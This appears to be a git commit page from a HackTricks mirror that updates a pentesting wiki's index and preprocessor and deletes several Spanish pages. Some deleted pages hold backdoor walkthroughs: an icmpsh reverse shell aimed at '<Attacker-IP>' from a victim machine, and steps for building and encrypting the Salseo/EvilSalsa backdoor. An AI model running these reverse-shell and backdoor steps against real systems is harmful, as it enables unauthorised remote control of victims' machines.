maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/mobile-pentesting/android-app-pentesting/intent-injecti

Browse Source
This commit is contained in:
Translator 2025-08-20 19:22:18 +00:00
parent 42a038b807
commit e7e661e539
136 changed files with 609 additions and 15437 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

8
hacktricks-preprocessor.py
View File

@ -50,6 +50,7 @@ def ref(matchobj):
pass #nDont stop on broken link
else:
try:
href = href.replace("`", "") # Prevent hrefs like: ../../generic-methodologies-and-resources/pentesting-network/`spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md`
if href.endswith("/"):
href = href+"README.md" # Fix if ref points to a folder
if "#" in href:
@ -61,9 +62,10 @@ def ref(matchobj):
logger.debug(f'Recursive title search result: {chapter["name"]}')
title = chapter['name']
except Exception as e:
dir = path.dirname(current_chapter['source_path'])
rel_path = path.normpath(path.join(dir,href))
try:
dir = path.dirname(current_chapter['source_path'])
logger.debug(f'Error getting chapter title: {href} trying with relative path {path.normpath(path.join(dir,href))}')
logger.debug(f'Not found chapter title from: {href} -- trying with relative path {rel_path}')
if "#" in href:
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
title = " ".join(href.split("#")[1].split("-")).title()
@ -74,7 +76,7 @@ def ref(matchobj):
logger.debug(f'Recursive title search result: {chapter["name"]}')
except Exception as e:
logger.debug(e)
logger.error(f'Error getting chapter title: {path.normpath(path.join(dir,href))}')
logger.error(f'Error getting chapter title: {rel_path}')
sys.exit(1)

29
src/1911-pentesting-fox.md
View File

@ -1,29 +0,0 @@
# 1911 - Pentesting fox
{{#include ./banners/hacktricks-training.md}}
Y más servicios:
ubiquiti-discover udp "Dispositivo de Ubiquiti Networks"
dht udp "Nodos DHT"
5060 udp sip "SIP/"
![](<images/image (273).png>)
![](<images/image (345) (2) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (3).png>)
InfluxDB
![](<images/image (337).png>)
![](<images/image (338).png>)
![](<images/image (339).png>)
![](<images/image (340).png>)
![](<images/image (341).png>)
{{#include ./banners/hacktricks-training.md}}

3
src/6881-udp-pentesting-bittorrent.md
View File

@ -1,3 +0,0 @@
{{#include ./banners/hacktricks-training.md}}
{{#include ./banners/hacktricks-training.md}}

92
src/SUMMARY.md
View File

@ -21,14 +21,20 @@
- [Network Protocols Explained (ESP)](generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md)
- [Nmap Summary (ESP)](generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md)
- [Pentesting IPv6](generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md)
- [Telecom Network Exploitation](generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md)
- [WebRTC DoS](generic-methodologies-and-resources/pentesting-network/webrtc-dos.md)
- [Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks](generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- [Spoofing SSDP and UPnP Devices with EvilSSDP](generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)
- [Pentesting Wifi](generic-methodologies-and-resources/pentesting-wifi/README.md)
- [Enable Nexmon Monitor And Injection On Android](generic-methodologies-and-resources/pentesting-wifi/enable-nexmon-monitor-and-injection-on-android.md)
- [Evil Twin EAP-TLS](generic-methodologies-and-resources/pentesting-wifi/evil-twin-eap-tls.md)
- [Phishing Methodology](generic-methodologies-and-resources/phishing-methodology/README.md)
- [Clipboard Hijacking](generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md)
- [Clone a Website](generic-methodologies-and-resources/phishing-methodology/clone-a-website.md)
- [Detecting Phishing](generic-methodologies-and-resources/phishing-methodology/detecting-phising.md)
- [Discord Invite Hijacking](generic-methodologies-and-resources/phishing-methodology/discord-invite-hijacking.md)
- [Homograph Attacks](generic-methodologies-and-resources/phishing-methodology/homograph-attacks.md)
- [Mobile Phishing Malicious Apps](generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md)
- [Phishing Files & Documents](generic-methodologies-and-resources/phishing-methodology/phishing-documents.md)
- [Basic Forensic Methodology](generic-methodologies-and-resources/basic-forensic-methodology/README.md)
- [Baseline Monitoring](generic-methodologies-and-resources/basic-forensic-methodology/file-integrity-monitoring.md)
@ -73,7 +79,9 @@
# 🧙‍♂️ Generic Hacking
- [Archive Extraction Path Traversal](generic-hacking/archive-extraction-path-traversal.md)
- [Brute Force - CheatSheet](generic-hacking/brute-force.md)
- [Esim Javacard Exploitation](generic-hacking/esim-javacard-exploitation.md)
- [Exfiltration](generic-hacking/exfiltration.md)
- [Reverse Shells (Linux, Windows, MSFVenom)](generic-hacking/reverse-shells/README.md)
- [MSFVenom - CheatSheet](generic-hacking/reverse-shells/msfvenom.md)
@ -88,6 +96,7 @@
- [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md)
- [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md)
- [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md)
- [Arbitrary File Write to Root](linux-hardening/privilege-escalation/write-to-root.md)
- [Cisco - vmanage](linux-hardening/privilege-escalation/cisco-vmanage.md)
- [Containerd (ctr) Privilege Escalation](linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md)
@ -149,6 +158,7 @@
- [macOS AppleFS](macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md)
- [macOS Bypassing Firewalls](macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md)
- [macOS Defensive Apps](macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md)
- [Macos Dyld Hijacking And Dyld Insert Libraries](macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md)
- [macOS GCD - Grand Central Dispatch](macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md)
- [macOS Kernel & System Extensions](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md)
- [macOS IOKit](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md)
@ -217,8 +227,10 @@
# 🪟 Windows Hardening
- [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md)
- [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md)
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
- [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
- [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)
- [ACLs - DACLs/SACLs/ACEs](windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md)
@ -241,15 +253,19 @@
- [Windows C Payloads](windows-hardening/windows-local-privilege-escalation/windows-c-payloads.md)
- [Active Directory Methodology](windows-hardening/active-directory-methodology/README.md)
- [Abusing Active Directory ACLs/ACEs](windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md)
- [BadSuccessor](windows-hardening/active-directory-methodology/acl-persistence-abuse/BadSuccessor.md)
- [Shadow Credentials](windows-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials.md)
- [AD Certificates](windows-hardening/active-directory-methodology/ad-certificates/README.md)
- [AD CS Account Persistence](windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md)
- [AD CS Domain Escalation](windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md)
- [AD CS Domain Persistence](windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md)
- [AD CS Certificate Theft](windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md)
- [Ad Certificates](windows-hardening/active-directory-methodology/ad-certificates.md)
- [AD information in printers](windows-hardening/active-directory-methodology/ad-information-in-printers.md)
- [AD DNS Records](windows-hardening/active-directory-methodology/ad-dns-records.md)
- [Adws Enumeration](windows-hardening/active-directory-methodology/adws-enumeration.md)
- [ASREPRoast](windows-hardening/active-directory-methodology/asreproast.md)
- [Badsuccessor Dmsa Migration Abuse](windows-hardening/active-directory-methodology/badsuccessor-dmsa-migration-abuse.md)
- [BloodHound & Other AD Enum Tools](windows-hardening/active-directory-methodology/bloodhound.md)
- [Constrained Delegation](windows-hardening/active-directory-methodology/constrained-delegation.md)
- [Custom SSP](windows-hardening/active-directory-methodology/custom-ssp.md)
@ -259,6 +275,7 @@
- [DSRM Credentials](windows-hardening/active-directory-methodology/dsrm-credentials.md)
- [External Forest Domain - OneWay (Inbound) or bidirectional](windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md)
- [External Forest Domain - One-Way (Outbound)](windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md)
- [Golden Dmsa Gmsa](windows-hardening/active-directory-methodology/golden-dmsa-gmsa.md)
- [Golden Ticket](windows-hardening/active-directory-methodology/golden-ticket.md)
- [Kerberoast](windows-hardening/active-directory-methodology/kerberoast.md)
- [Kerberos Authentication](windows-hardening/active-directory-methodology/kerberos-authentication.md)
@ -273,10 +290,12 @@
- [Privileged Groups](windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md)
- [RDP Sessions Abuse](windows-hardening/active-directory-methodology/rdp-sessions-abuse.md)
- [Resource-based Constrained Delegation](windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md)
- [Sccm Management Point Relay Sql Policy Secrets](windows-hardening/active-directory-methodology/sccm-management-point-relay-sql-policy-secrets.md)
- [Security Descriptors](windows-hardening/active-directory-methodology/security-descriptors.md)
- [SID-History Injection](windows-hardening/active-directory-methodology/sid-history-injection.md)
- [Silver Ticket](windows-hardening/active-directory-methodology/silver-ticket.md)
- [Skeleton Key](windows-hardening/active-directory-methodology/skeleton-key.md)
- [Timeroasting](windows-hardening/active-directory-methodology/TimeRoasting.md)
- [Unconstrained Delegation](windows-hardening/active-directory-methodology/unconstrained-delegation.md)
- [Windows Security Controls](windows-hardening/authentication-credentials-uac-and-efs/README.md)
- [UAC - User Account Control](windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md)
@ -306,6 +325,7 @@
- [Android APK Checklist](mobile-pentesting/android-checklist.md)
- [Android Applications Pentesting](mobile-pentesting/android-app-pentesting/README.md)
- [Accessibility Services Abuse](mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md)
- [Android Applications Basics](mobile-pentesting/android-app-pentesting/android-applications-basics.md)
- [Android Task Hijacking](mobile-pentesting/android-app-pentesting/android-task-hijacking.md)
- [ADB Commands](mobile-pentesting/android-app-pentesting/adb-commands.md)
@ -323,18 +343,21 @@
- [Frida Tutorial 3](mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md)
- [Objection Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md)
- [Google CTF 2018 - Shall We Play a Game?](mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md)
- [Insecure In App Update Rce](mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md)
- [Install Burp Certificate](mobile-pentesting/android-app-pentesting/install-burp-certificate.md)
- [Intent Injection](mobile-pentesting/android-app-pentesting/intent-injection.md)
- [Make APK Accept CA Certificate](mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md)
- [Manual DeObfuscation](mobile-pentesting/android-app-pentesting/manual-deobfuscation.md)
- [React Native Application](mobile-pentesting/android-app-pentesting/react-native-application.md)
- [Reversing Native Libraries](mobile-pentesting/android-app-pentesting/reversing-native-libraries.md)
- [Smali - Decompiling/\[Modifying\]/Compiling](mobile-pentesting/android-app-pentesting/smali-changes.md)
- [Shizuku Privileged Api](mobile-pentesting/android-app-pentesting/shizuku-privileged-api.md)
- [Smali - Decompiling, Modifying, Compiling](mobile-pentesting/android-app-pentesting/smali-changes.md)
- [Spoofing your location in Play Store](mobile-pentesting/android-app-pentesting/spoofing-your-location-in-play-store.md)
- [Tapjacking](mobile-pentesting/android-app-pentesting/tapjacking.md)
- [Webview Attacks](mobile-pentesting/android-app-pentesting/webview-attacks.md)
- [iOS Pentesting Checklist](mobile-pentesting/ios-pentesting-checklist.md)
- [iOS Pentesting](mobile-pentesting/ios-pentesting/README.md)
- [Air Keyboard Remote Input Injection](mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md)
- [iOS App Extensions](mobile-pentesting/ios-pentesting/ios-app-extensions.md)
- [iOS Basics](mobile-pentesting/ios-pentesting/ios-basics.md)
- [iOS Basic Testing Operations](mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md)
@ -387,6 +410,7 @@
- [Buckets](network-services-pentesting/pentesting-web/buckets/README.md)
- [Firebase Database](network-services-pentesting/pentesting-web/buckets/firebase-database.md)
- [CGI](network-services-pentesting/pentesting-web/cgi.md)
- [Django](network-services-pentesting/pentesting-web/django.md)
- [DotNetNuke (DNN)](network-services-pentesting/pentesting-web/dotnetnuke-dnn.md)
- [Drupal](network-services-pentesting/pentesting-web/drupal/README.md)
- [Drupal RCE](network-services-pentesting/pentesting-web/drupal/drupal-rce.md)
@ -397,7 +421,6 @@
- [Flask](network-services-pentesting/pentesting-web/flask.md)
- [Git](network-services-pentesting/pentesting-web/git.md)
- [Golang](network-services-pentesting/pentesting-web/golang.md)
- [GWT - Google Web Toolkit](network-services-pentesting/pentesting-web/gwt-google-web-toolkit.md)
- [Grafana](network-services-pentesting/pentesting-web/grafana.md)
- [GraphQL](network-services-pentesting/pentesting-web/graphql.md)
- [H2 - Java SQL database](network-services-pentesting/pentesting-web/h2-java-sql-database.md)
@ -408,6 +431,7 @@
- [Joomla](network-services-pentesting/pentesting-web/joomla.md)
- [JSP](network-services-pentesting/pentesting-web/jsp.md)
- [Laravel](network-services-pentesting/pentesting-web/laravel.md)
- [Microsoft Sharepoint](network-services-pentesting/pentesting-web/microsoft-sharepoint.md)
- [Moodle](network-services-pentesting/pentesting-web/moodle.md)
- [NextJS](network-services-pentesting/pentesting-web/nextjs.md)
- [Nginx](network-services-pentesting/pentesting-web/nginx.md)
@ -429,13 +453,15 @@
- [disable_functions bypass - via mem](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-via-mem.md)
- [disable_functions bypass - mod_cgi](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-mod_cgi.md)
- [disable_functions bypass - PHP 4 >= 4.2.0, PHP 5 pcntl_exec](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl_exec.md)
- [PHP - RCE abusing object creation: new $\_GET\["a"\]($\_GET\["b"\])](network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md)
- [Php Rce Abusing Object Creation New Usd Get A Usd Get B](network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md)
- [PHP SSRF](network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md)
- [PrestaShop](network-services-pentesting/pentesting-web/prestashop.md)
- [Python](network-services-pentesting/pentesting-web/python.md)
- [Rocket Chat](network-services-pentesting/pentesting-web/rocket-chat.md)
- [Ruby Tricks](network-services-pentesting/pentesting-web/ruby-tricks.md)
- [Special HTTP headers$$external:network-services-pentesting/pentesting-web/special-http-headers.md$$]()
- [Source code Review / SAST Tools](network-services-pentesting/pentesting-web/code-review-tools.md)
- [Special Http Headers](network-services-pentesting/pentesting-web/special-http-headers.md)
- [Spring Actuators](network-services-pentesting/pentesting-web/spring-actuators.md)
- [Symfony](network-services-pentesting/pentesting-web/symphony.md)
- [Tomcat](network-services-pentesting/pentesting-web/tomcat/README.md)
@ -534,6 +560,7 @@
# 🕸️ Pentesting Web
- [Less Code Injection Ssrf](pentesting-web/less-code-injection-ssrf.md)
- [Web Vulnerabilities Methodology](pentesting-web/web-vulnerabilities-methodology.md)
- [Reflecting Techniques - PoCs and Polygloths CheatSheet](pentesting-web/pocs-and-polygloths-cheatsheet/README.md)
- [Web Vulns List](pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md)
@ -580,6 +607,7 @@
- [Exploiting \_\_VIEWSTATE without knowing the secrets](pentesting-web/deserialization/exploiting-__viewstate-parameter.md)
- [Python Yaml Deserialization](pentesting-web/deserialization/python-yaml-deserialization.md)
- [JNDI - Java Naming and Directory Interface & Log4Shell](pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md)
- [Ruby Json Pollution](pentesting-web/deserialization/ruby-_json-pollution.md)
- [Ruby Class Pollution](pentesting-web/deserialization/ruby-class-pollution.md)
- [Domain/Subdomain takeover](pentesting-web/domain-subdomain-takeover.md)
- [Email Injections](pentesting-web/email-injections.md)
@ -607,6 +635,7 @@
- [hop-by-hop headers](pentesting-web/abusing-hop-by-hop-headers.md)
- [IDOR](pentesting-web/idor.md)
- [JWT Vulnerabilities (Json Web Tokens)](pentesting-web/hacking-jwt-json-web-tokens.md)
- [JSON, XML and YAML Hacking](pentesting-web/json-xml-yaml-hacking.md)
- [LDAP Injection](pentesting-web/ldap-injection.md)
- [Login Bypass](pentesting-web/login-bypass/README.md)
- [Login bypass List](pentesting-web/login-bypass/sql-login-bypass.md)
@ -639,6 +668,7 @@
- [MySQL File priv to SSRF/RCE](pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md)
- [Oracle injection](pentesting-web/sql-injection/oracle-injection.md)
- [Cypher Injection (neo4j)](pentesting-web/sql-injection/cypher-injection-neo4j.md)
- [Sqlmap](pentesting-web/sql-injection/sqlmap.md)
- [PostgreSQL injection](pentesting-web/sql-injection/postgresql-injection/README.md)
- [dblink/lo_import data exfiltration](pentesting-web/sql-injection/postgresql-injection/dblink-lo_import-data-exfiltration.md)
- [PL/pgSQL Password Bruteforce](pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md)
@ -662,6 +692,7 @@
- [WebSocket Attacks](pentesting-web/websocket-attacks.md)
- [Web Tool - WFuzz](pentesting-web/web-tool-wfuzz.md)
- [XPATH injection](pentesting-web/xpath-injection.md)
- [XS Search](pentesting-web/xs-search.md)
- [XSLT Server Side Injection (Extensible Stylesheet Language Transformations)](pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
- [XXE - XEE - XML External Entity](pentesting-web/xxe-xee-xml-external-entity.md)
- [XSS (Cross Site Scripting)](pentesting-web/xss-cross-site-scripting/README.md)
@ -739,7 +770,9 @@
- [Ret2vDSO](binary-exploitation/rop-return-oriented-programing/ret2vdso.md)
- [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md)
- [SROP - ARM64](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md)
- [Synology Encrypted Archive Decryption](hardware-physical-access/firmware-analysis/synology-encrypted-archive-decryption.md)
- [Array Indexing](binary-exploitation/array-indexing.md)
- [Chrome Exploiting](binary-exploitation/chrome-exploiting.md)
- [Integer Overflow](binary-exploitation/integer-overflow.md)
- [Format Strings](binary-exploitation/format-strings/README.md)
- [Format Strings - Arbitrary Read Example](binary-exploitation/format-strings/format-strings-arbitrary-read-example.md)
@ -784,6 +817,7 @@
- [BF Forked & Threaded Stack Canaries](binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md)
- [Print Stack Canary](binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md)
- [Write What Where 2 Exec](binary-exploitation/arbitrary-write-2-exec/README.md)
- [Aw2exec Sips Icc Profile](binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md)
- [WWW2Exec - atexit()](binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md)
- [WWW2Exec - .dtors & .fini_array](binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)
- [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md)
@ -792,6 +826,30 @@
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
- [iOS Exploiting](binary-exploitation/ios-exploiting.md)
# 🤖 AI
- [AI Security](AI/README.md)
- [Ai Assisted Fuzzing And Vulnerability Discovery](AI/AI-Assisted-Fuzzing-and-Vulnerability-Discovery.md)
- [AI Security Methodology](AI/AI-Deep-Learning.md)
- [AI MCP Security](AI/AI-MCP-Servers.md)
- [AI Model Data Preparation](AI/AI-Model-Data-Preparation-and-Evaluation.md)
- [AI Models RCE](AI/AI-Models-RCE.md)
- [AI Prompts](AI/AI-Prompts.md)
- [AI Risk Frameworks](AI/AI-Risk-Frameworks.md)
- [AI Supervised Learning Algorithms](AI/AI-Supervised-Learning-Algorithms.md)
- [AI Unsupervised Learning Algorithms](AI/AI-Unsupervised-Learning-Algorithms.md)
- [AI Reinforcement Learning Algorithms](AI/AI-Reinforcement-Learning-Algorithms.md)
- [LLM Training](AI/AI-llm-architecture/README.md)
- [0. Basic LLM Concepts](AI/AI-llm-architecture/0.-basic-llm-concepts.md)
- [1. Tokenizing](AI/AI-llm-architecture/1.-tokenizing.md)
- [2. Data Sampling](AI/AI-llm-architecture/2.-data-sampling.md)
- [3. Token Embeddings](AI/AI-llm-architecture/3.-token-embeddings.md)
- [4. Attention Mechanisms](AI/AI-llm-architecture/4.-attention-mechanisms.md)
- [5. LLM Architecture](AI/AI-llm-architecture/5.-llm-architecture.md)
- [6. Pre-training & Loading models](AI/AI-llm-architecture/6.-pre-training-and-loading-models.md)
- [7.0. LoRA Improvements in fine-tuning](AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md)
- [7.1. Fine-Tuning for Classification](AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md)
- [7.2. Fine-Tuning to follow instructions](AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md)
# 🔩 Reversing
- [Reversing Tools & Basic Methods](reversing/reversing-tools-basic-methods/README.md)
@ -820,13 +878,13 @@
# ✍️ TODO
- [Other Big References](todo/references.md)
- [Interesting Http](todo/interesting-http.md)
- [Rust Basics](todo/rust-basics.md)
- [More Tools](todo/more-tools.md)
- [MISC](todo/misc.md)
- [Pentesting DNS](todo/pentesting-dns.md)
- [Hardware Hacking](todo/hardware-hacking/README.md)
- [Fault Injection Attacks](todo/hardware-hacking/fault_injection_attacks.md)
- [I2C](todo/hardware-hacking/i2c.md)
- [Side Channel Analysis](todo/hardware-hacking/side_channel_analysis.md)
- [UART](todo/hardware-hacking/uart.md)
- [Radio](todo/hardware-hacking/radio.md)
- [JTAG](todo/hardware-hacking/jtag.md)
@ -834,6 +892,7 @@
- [Industrial Control Systems Hacking](todo/industrial-control-systems-hacking/README.md)
- [Modbus Protocol](todo/industrial-control-systems-hacking/modbus.md)
- [Radio Hacking](todo/radio-hacking/README.md)
- [Maxiprox Mobile Cloner](todo/radio-hacking/maxiprox-mobile-cloner.md)
- [Pentesting RFID](todo/radio-hacking/pentesting-rfid.md)
- [Infrared](todo/radio-hacking/infrared.md)
- [Sub-GHz RF](todo/radio-hacking/sub-ghz-rf.md)
@ -849,23 +908,10 @@
- [Low-Power Wide Area Network](todo/radio-hacking/low-power-wide-area-network.md)
- [Pentesting BLE - Bluetooth Low Energy](todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md)
- [Test LLMs](todo/test-llms.md)
- [LLM Training](todo/llm-training-data-preparation/README.md)
- [0. Basic LLM Concepts](todo/llm-training-data-preparation/0.-basic-llm-concepts.md)
- [1. Tokenizing](todo/llm-training-data-preparation/1.-tokenizing.md)
- [2. Data Sampling](todo/llm-training-data-preparation/2.-data-sampling.md)
- [3. Token Embeddings](todo/llm-training-data-preparation/3.-token-embeddings.md)
- [4. Attention Mechanisms](todo/llm-training-data-preparation/4.-attention-mechanisms.md)
- [5. LLM Architecture](todo/llm-training-data-preparation/5.-llm-architecture.md)
- [6. Pre-training & Loading models](todo/llm-training-data-preparation/6.-pre-training-and-loading-models.md)
- [7.0. LoRA Improvements in fine-tuning](todo/llm-training-data-preparation/7.0.-lora-improvements-in-fine-tuning.md)
- [7.1. Fine-Tuning for Classification](todo/llm-training-data-preparation/7.1.-fine-tuning-for-classification.md)
- [7.2. Fine-Tuning to follow instructions](todo/llm-training-data-preparation/7.2.-fine-tuning-to-follow-instructions.md)
- [Burp Suite](todo/burp-suite.md)
- [Other Web Tricks](todo/other-web-tricks.md)
- [Interesting HTTP$$external:todo/interesting-http.md$$]()
- [Android Forensics](todo/android-forensics.md)
- [TR-069](todo/tr-069.md)
- [6881/udp - Pentesting BitTorrent](todo/6881-udp-pentesting-bittorrent.md)
- [Online Platforms with API](todo/online-platforms-with-api.md)
- [Stealing Sensitive Information Disclosure from a Web](todo/stealing-sensitive-information-disclosure-from-a-web.md)
- [Post Exploitation](todo/post-exploitation.md)
@ -873,3 +919,11 @@
- [Cookies Policy](todo/cookies-policy.md)
- [Readme](blockchain/blockchain-and-crypto-currencies/README.md)
- [Readme](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md)
- [Readme](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md)
- [Readme](pentesting-web/web-vulnerabilities-methodology/README.md)
- [Readme](reversing/cryptographic-algorithms/README.md)
- [Readme](reversing/reversing-tools/README.md)
- [Readme](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md)

27
src/android-forensics.md
View File

@ -1,27 +0,0 @@
# Android Forensics
{{#include ./banners/hacktricks-training.md}}
## Dispositivo Bloqueado
Para comenzar a extraer datos de un dispositivo Android, debe estar desbloqueado. Si está bloqueado, puedes:
- Verificar si el dispositivo tiene la depuración por USB activada.
- Comprobar un posible [smudge attack](https://www.usenix.org/legacy/event/woot10/tech/full_papers/Aviv.pdf)
- Intentar con [Brute-force](https://www.cultofmac.com/316532/this-brute-force-device-can-crack-any-iphones-pin-code/)
## Adquisición de Datos
Crea un [android backup usando adb](mobile-pentesting/android-app-pentesting/adb-commands.md#backup) y extráelo usando [Android Backup Extractor](https://sourceforge.net/projects/adbextractor/): `java -jar abe.jar unpack file.backup file.tar`
### Si hay acceso root o conexión física a la interfaz JTAG
- `cat /proc/partitions` (busca la ruta a la memoria flash, generalmente la primera entrada es _mmcblk0_ y corresponde a toda la memoria flash).
- `df /data` (Descubre el tamaño del bloque del sistema).
- dd if=/dev/block/mmcblk0 of=/sdcard/blk0.img bs=4096 (ejecuta esto con la información recopilada del tamaño del bloque).
### Memoria
Usa Linux Memory Extractor (LiME) para extraer la información de la RAM. Es una extensión del kernel que debe ser cargada a través de adb.
{{#include ./banners/hacktricks-training.md}}

25
src/backdoors/icmpsh.md
View File

@ -1,25 +0,0 @@
{{#include ../banners/hacktricks-training.md}}
Descarga el backdoor desde: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh)
# Lado del cliente
Ejecuta el script: **run.sh**
**Si obtienes algún error, intenta cambiar las líneas:**
```bash
IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1)
IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }')
```
**Para:**
```bash
echo Please insert the IP where you want to listen
read IP
```
# **Lado de la Víctima**
Sube **icmpsh.exe** a la víctima y ejecuta:
```bash
icmpsh.exe -t <Attacker-IP> -d 500 -b 30 -s 128
```
{{#include ../banners/hacktricks-training.md}}

158
src/backdoors/salseo.md
View File

@ -1,158 +0,0 @@
# Salseo
{{#include ../banners/hacktricks-training.md}}
## Compilando los binarios
Descarga el código fuente desde github y compila **EvilSalsa** y **SalseoLoader**. Necesitarás tener **Visual Studio** instalado para compilar el código.
Compila esos proyectos para la arquitectura de la caja de Windows donde los vas a usar (Si Windows soporta x64, compílalos para esa arquitectura).
Puedes **seleccionar la arquitectura** dentro de Visual Studio en la **pestaña "Build"** a la izquierda en **"Platform Target".**
(**Si no puedes encontrar estas opciones, presiona en **"Project Tab"** y luego en **"\<Project Name> Properties"**)
![](<../images/image (132).png>)
Luego, construye ambos proyectos (Build -> Build Solution) (Dentro de los registros aparecerá la ruta del ejecutable):
![](<../images/image (1) (2) (1) (1) (1).png>)
## Preparar el Backdoor
Primero que nada, necesitarás codificar el **EvilSalsa.dll.** Para hacerlo, puedes usar el script de python **encrypterassembly.py** o puedes compilar el proyecto **EncrypterAssembly**:
### **Python**
```
python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
```
### Windows
```
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
```
Ok, ahora tienes todo lo que necesitas para ejecutar todo lo relacionado con Salseo: el **EvilDalsa.dll codificado** y el **binario de SalseoLoader.**
